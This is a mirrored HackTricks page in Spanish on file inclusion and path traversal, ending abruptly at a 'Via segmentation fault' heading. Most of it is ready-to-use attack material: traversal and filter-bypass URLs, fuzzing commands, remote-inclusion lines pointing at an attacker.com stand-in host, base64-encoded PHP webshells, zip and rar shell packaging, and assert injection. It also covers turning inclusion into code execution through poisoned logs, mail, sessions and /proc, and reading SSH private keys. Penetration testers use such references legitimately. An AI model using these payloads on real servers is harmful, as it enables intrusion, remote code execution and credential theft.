mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
660 lines
33 KiB
Markdown
660 lines
33 KiB
Markdown
# Inclusión de Archivos/Travesía de Rutas
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
|
|
|
**Perspectivas de Hacking**\
|
|
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
|
|
|
|
**Noticias de Hacking en Tiempo Real**\
|
|
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
|
|
|
|
**Últimos Anuncios**\
|
|
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
|
|
|
|
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
|
|
|
## Inclusión de Archivos
|
|
|
|
**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
|
|
**Inclusión Local de Archivos (LFI):** El servidor carga un archivo local.
|
|
|
|
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
|
|
|
|
**Funciones PHP vulnerables**: require, require\_once, include, include\_once
|
|
|
|
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
|
|
|
## Archivos Ciegos - Interesantes - LFI2RCE
|
|
```python
|
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
|
```
|
|
### **Linux**
|
|
|
|
**Combinando varias listas LFI de \*nix y añadiendo más rutas, he creado esta:**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
|
|
|
Intenta también cambiar `/` por `\`\
|
|
Intenta también añadir `../../../../../`
|
|
|
|
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
|
|
|
### **Windows**
|
|
|
|
Fusionando varias listas, he creado:
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
|
|
|
Intenta también cambiar `/` por `\`\
|
|
Intenta también eliminar `C:/` y añadir `../../../../../`
|
|
|
|
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
|
|
|
### **OS X**
|
|
|
|
Revisa la lista LFI de linux.
|
|
|
|
## LFI básico y bypasses
|
|
|
|
Todos los ejemplos son para Inclusión de Archivos Locales pero también podrían aplicarse a Inclusión de Archivos Remotos (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd
|
|
```
|
|
### secuencias de traversal eliminadas de forma no recursiva
|
|
```python
|
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|
```
|
|
### **Byte nulo (%00)**
|
|
|
|
Evita el añadir más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd%00
|
|
```
|
|
Esta **resuelto desde PHP 5.4**
|
|
|
|
### **Codificación**
|
|
|
|
Podrías usar codificaciones no estándar como doble codificación de URL (y otras):
|
|
```
|
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|
```
|
|
### Desde una carpeta existente
|
|
|
|
Quizás el back-end está verificando la ruta de la carpeta:
|
|
```python
|
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|
```
|
|
### Identificación de carpetas en un servidor
|
|
|
|
Dependiendo del código de la aplicación / caracteres permitidos, podría ser posible explorar recursivamente el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
|
|
|
|
* identifica la "profundidad" de tu directorio actual al recuperar con éxito `/etc/passwd` (si estás en Linux):
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|
```
|
|
* intente adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí, `private`), y luego regresando a `/etc/passwd`:
|
|
```
|
|
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
|
```
|
|
* si la aplicación es vulnerable, podrían darse dos resultados diferentes a la solicitud:
|
|
* si obtienes un error / no hay salida, la carpeta `private` no existe en esta ubicación
|
|
* si obtienes el contenido de `/etc/passwd`, has validado que efectivamente existe una carpeta `private` en tu directorio actual
|
|
* las carpetas que descubriste utilizando esta técnica pueden ser sometidas a fuzzing para archivos (usando un método LFI clásico) o para subdirectorios utilizando la misma técnica de manera recursiva.
|
|
|
|
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a profundidad 3 del sistema de archivos) quieres verificar si `/var/www/` contiene un directorio `private`, utiliza el siguiente payload:
|
|
```
|
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|
```
|
|
La siguiente secuencia de comandos permite la generación de payloads utilizando `sed` (1) como entrada para herramientas de fuzzing de URL como `ffuf` (2):
|
|
```
|
|
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
|
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
|
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
|
|
```
|
|
Por supuesto, adapta estos payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.
|
|
|
|
### **Path truncation**
|
|
|
|
Evita la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
|
```
|
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
|
Check if last 6 chars are passwd --> passwd/
|
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
|
```
|
|
|
|
```
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
|
|
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
|
|
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
|
```
|
|
Siempre intenta **iniciar** la ruta **con un directorio falso** (a/).
|
|
|
|
**Esta vulnerabilidad se corrigió en PHP 5.3.**
|
|
|
|
### **Trucos para eludir filtros**
|
|
```
|
|
http://example.com/index.php?page=....//....//etc/passwd
|
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
|
http://example.com/index.php?page=PhP://filter
|
|
```
|
|
## Inclusión Remota de Archivos
|
|
|
|
En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
|
|
|
|
{% code overflow="wrap" %}
|
|
```
|
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="info" %}
|
|
En el código anterior, se agregó `+.txt` al final porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y después de la decodificación b64 esa parte solo devolverá basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
|
|
{% endhint %}
|
|
|
|
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
|
|
|
{% code overflow="wrap" %}
|
|
```
|
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
|
```
|
|
```markdown
|
|
{% endcode %}
|
|
|
|
## Elemento Raíz en Python
|
|
|
|
En python en un código como este:
|
|
```
|
|
```python
|
|
# file_name is controlled by a user
|
|
os.path.join(os.getcwd(), "public", file_name)
|
|
```
|
|
Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior simplemente se elimina**:
|
|
```python
|
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|
'/etc/passwd'
|
|
```
|
|
Es el comportamiento previsto según [la documentación](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
|
|
|
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de la ruta absoluta.
|
|
|
|
## Java Listar Directorios
|
|
|
|
Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurrirá en otros lenguajes (hasta donde yo sé).
|
|
|
|
## Top 25 parámetros
|
|
|
|
Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
|
|
```
|
|
?cat={payload}
|
|
?dir={payload}
|
|
?action={payload}
|
|
?board={payload}
|
|
?date={payload}
|
|
?detail={payload}
|
|
?file={payload}
|
|
?download={payload}
|
|
?path={payload}
|
|
?folder={payload}
|
|
?prefix={payload}
|
|
?include={payload}
|
|
?page={payload}
|
|
?inc={payload}
|
|
?locate={payload}
|
|
?show={payload}
|
|
?doc={payload}
|
|
?site={payload}
|
|
?type={payload}
|
|
?view={payload}
|
|
?content={payload}
|
|
?document={payload}
|
|
?layout={payload}
|
|
?mod={payload}
|
|
?conf={payload}
|
|
```
|
|
## LFI / RFI usando envoltorios y protocolos de PHP
|
|
|
|
### php://filter
|
|
|
|
Los filtros de PHP permiten realizar **operaciones básicas de modificación en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
|
|
|
* [Filtros de Cadenas](https://www.php.net/manual/en/filters.string.php):
|
|
* `string.rot13`
|
|
* `string.toupper`
|
|
* `string.tolower`
|
|
* `string.strip_tags`: Elimina etiquetas de los datos (todo entre los caracteres "<" y ">")
|
|
* Nota que este filtro ha desaparecido de las versiones modernas de PHP
|
|
* [Filtros de Conversión](https://www.php.net/manual/en/filters.convert.php)
|
|
* `convert.base64-encode`
|
|
* `convert.base64-decode`
|
|
* `convert.quoted-printable-encode`
|
|
* `convert.quoted-printable-decode`
|
|
* `convert.iconv.*` : Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l`
|
|
|
|
{% hint style="warning" %}
|
|
Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información revisa [**LFI2RCE a través de filtros de PHP**](lfi2rce-via-php-filters.md).
|
|
{% endhint %}
|
|
|
|
* [Filtros de Compresión](https://www.php.net/manual/en/filters.compression.php)
|
|
* `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información)
|
|
* `zlib.inflate`: Descomprime los datos
|
|
* [Filtros de Encriptación](https://www.php.net/manual/en/filters.encryption.php)
|
|
* `mcrypt.*` : Obsoleto
|
|
* `mdecrypt.*` : Obsoleto
|
|
* Otros Filtros
|
|
* Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
|
|
* `consumed`
|
|
* `dechunk`: revierte la codificación de fragmentos HTTP
|
|
* `convert.*`
|
|
```php
|
|
# String Filters
|
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
|
## Same chain without the "|" char
|
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
|
## string.string_tags example
|
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
|
|
|
# Conversion filter
|
|
## B64 decode
|
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
|
## Chain B64 encode and decode
|
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
|
## convert.quoted-printable-encode example
|
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
|
=C2=A3hellooo=3D
|
|
## convert.iconv.utf-8.utf-16le
|
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
|
|
|
# Compresion Filter
|
|
## Compress + B64
|
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
|
```
|
|
{% hint style="warning" %}
|
|
La parte "php://filter" no distingue entre mayúsculas y minúsculas
|
|
{% endhint %}
|
|
|
|
### php://fd
|
|
|
|
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
|
|
```php
|
|
echo file_get_contents("php://fd/3");
|
|
$myfile = fopen("/etc/passwd", "r");
|
|
```
|
|
También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
|
|
|
### zip:// y rar://
|
|
|
|
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
|
|
Para poder abusar del protocolo rar, este **necesita estar específicamente activado**.
|
|
```bash
|
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
zip payload.zip payload.php;
|
|
mv payload.zip shell.jpg;
|
|
rm payload.php
|
|
|
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
|
|
# To compress with rar
|
|
rar a payload.rar payload.php;
|
|
mv payload.rar shell.jpg;
|
|
rm payload.php
|
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|
```
|
|
### data://
|
|
```
|
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
Hecho curioso: puedes activar un XSS y evadir el Auditor de Chrome con: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
|
|
Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
Expect debe estar activado. Puedes ejecutar código utilizando esto.
|
|
```
|
|
http://example.com/index.php?page=expect://id
|
|
http://example.com/index.php?page=expect://ls
|
|
```
|
|
### input://
|
|
|
|
Especifique su payload en los parámetros POST
|
|
```
|
|
http://example.com/index.php?page=php://input
|
|
POST DATA: <?php system('id'); ?>
|
|
```
|
|
### phar://
|
|
|
|
Un archivo `.phar` también puede ser utilizado para ejecutar código PHP si la web está usando alguna función como `include` para cargar el archivo.
|
|
|
|
{% code title="create_phar.php" %}
|
|
```python
|
|
<?php
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Y puedes compilar el `phar` ejecutando la siguiente línea:
|
|
```bash
|
|
php --define phar.readonly=0 create_path.php
|
|
```
|
|
Se generará un archivo llamado `test.phar` que puedes usar para abusar del LFI.
|
|
|
|
Si el LFI solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
|
|
Para más información, lee el siguiente post:
|
|
|
|
{% content-ref url="phar-deserialization.md" %}
|
|
[phar-deserialization.md](phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Más protocolos
|
|
|
|
Consulta más[ **protocolos posibles para incluir aquí**](https://www.php.net/manual/en/wrappers.php)**:**
|
|
|
|
* [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
|
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
|
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URLs HTTP(s)
|
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URLs FTP(s)
|
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de compresión
|
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar rutas que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
|
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No es útil para leer archivos arbitrarios)
|
|
|
|
## LFI vía 'assert' de PHP
|
|
|
|
Si te encuentras con un LFI difícil que parece estar filtrando cadenas de traversal como ".." y responde con algo como "Intento de hacking" o "¡Buena prueba!", un payload de inyección 'assert' puede funcionar.
|
|
|
|
Un payload como este:
|
|
```
|
|
' and die(show_source('/etc/passwd')) or '
|
|
```
|
|
explotará con éxito código PHP para un parámetro "file" que se ve así:
|
|
```bash
|
|
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|
```
|
|
También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system():
|
|
```
|
|
' and die(system("whoami")) or '
|
|
```
|
|
Asegúrate de codificar las cargas útiles en URL antes de enviarlas.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
|
|
|
|
**Perspectivas de Hacking**\
|
|
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
|
|
|
**Noticias de Hacking en Tiempo Real**\
|
|
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
|
|
|
|
**Últimos Anuncios**\
|
|
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
|
|
|
|
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
|
|
|
## PHP Blind Path Traversal
|
|
|
|
{% hint style="warning" %}
|
|
Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a **`file()`**), pero el contenido no se muestra.
|
|
{% endhint %}
|
|
|
|
En [**este increíble post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un blind path traversal a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
|
|
|
|
Como resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo provocará un **error**.
|
|
|
|
Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **colocar otros caracteres al principio y filtrarlos**.
|
|
|
|
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
|
|
|
Para los detalles técnicos, ¡revisa el post mencionado!
|
|
|
|
## LFI2RCE
|
|
|
|
### Inclusión Remota de Archivos
|
|
|
|
Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
|
|
|
|
### Vía archivo de registro de Apache/Nginx
|
|
|
|
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un parámetro **GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
|
|
|
{% hint style="warning" %}
|
|
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
|
|
|
Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
|
{% endhint %}
|
|
|
|
Esto también podría hacerse en otros registros pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de este encabezado.\
|
|
Otras posibles rutas de registros:
|
|
```python
|
|
/var/log/apache2/access.log
|
|
/var/log/apache/access.log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/nginx/access.log
|
|
/var/log/nginx/error.log
|
|
/var/log/httpd/error_log
|
|
```
|
|
Lista de fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
|
|
|
### Vía Email
|
|
|
|
**Envía un correo** a una cuenta interna (usuario@localhost) que contenga tu payload de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<NOMBREDEUSUARIO>`** o **`/var/spool/mail/<NOMBREDEUSUARIO>`**
|
|
|
|
### Vía /proc/\*/fd/\*
|
|
|
|
1. Sube muchas shells (por ejemplo: 100)
|
|
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), donde $PID = PID del proceso (puede ser forzado bruscamente) y $FD el descriptor de archivo (también puede ser forzado bruscamente)
|
|
|
|
### Vía /proc/self/environ
|
|
|
|
Como un archivo de registro, envía el payload en el User-Agent, se reflejará dentro del archivo /proc/self/environ
|
|
```
|
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
User-Agent: <?=phpinfo(); ?>
|
|
```
|
|
### Vía carga de archivos
|
|
|
|
Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
|
```
|
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
```
|
|
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
|
|
|
|
### A través de la carga de archivos Zip
|
|
|
|
Sube un archivo ZIP que contenga un shell PHP comprimido y accede:
|
|
```python
|
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|
```
|
|
### A través de sesiones PHP
|
|
|
|
Comprueba si el sitio web utiliza Sesión PHP (PHPSESSID)
|
|
```
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
```
|
|
En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
|
```
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
```
|
|
Establece la cookie en `<?php system('cat /etc/passwd');?>`
|
|
```
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
```
|
|
Utiliza el LFI para incluir el archivo de sesión PHP
|
|
```
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
|
```
|
|
### Vía ssh
|
|
|
|
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id\_rsa**
|
|
|
|
### **Vía** **vsftpd** _**logs**_
|
|
|
|
Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log.**_ Si tienes un LFI y puedes acceder a un servidor vsftpd expuesto, podrías intentar iniciar sesión estableciendo el payload de PHP en el nombre de usuario y luego acceder a los registros utilizando el LFI.
|
|
|
|
### Vía filtro base64 de php (usando base64)
|
|
|
|
como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
|
|
```url
|
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
|
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
### Via php filters (no file needed)
|
|
|
|
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para el include **sin necesidad de escribir** en un archivo.
|
|
|
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via segmentation fault
|
|
|
|
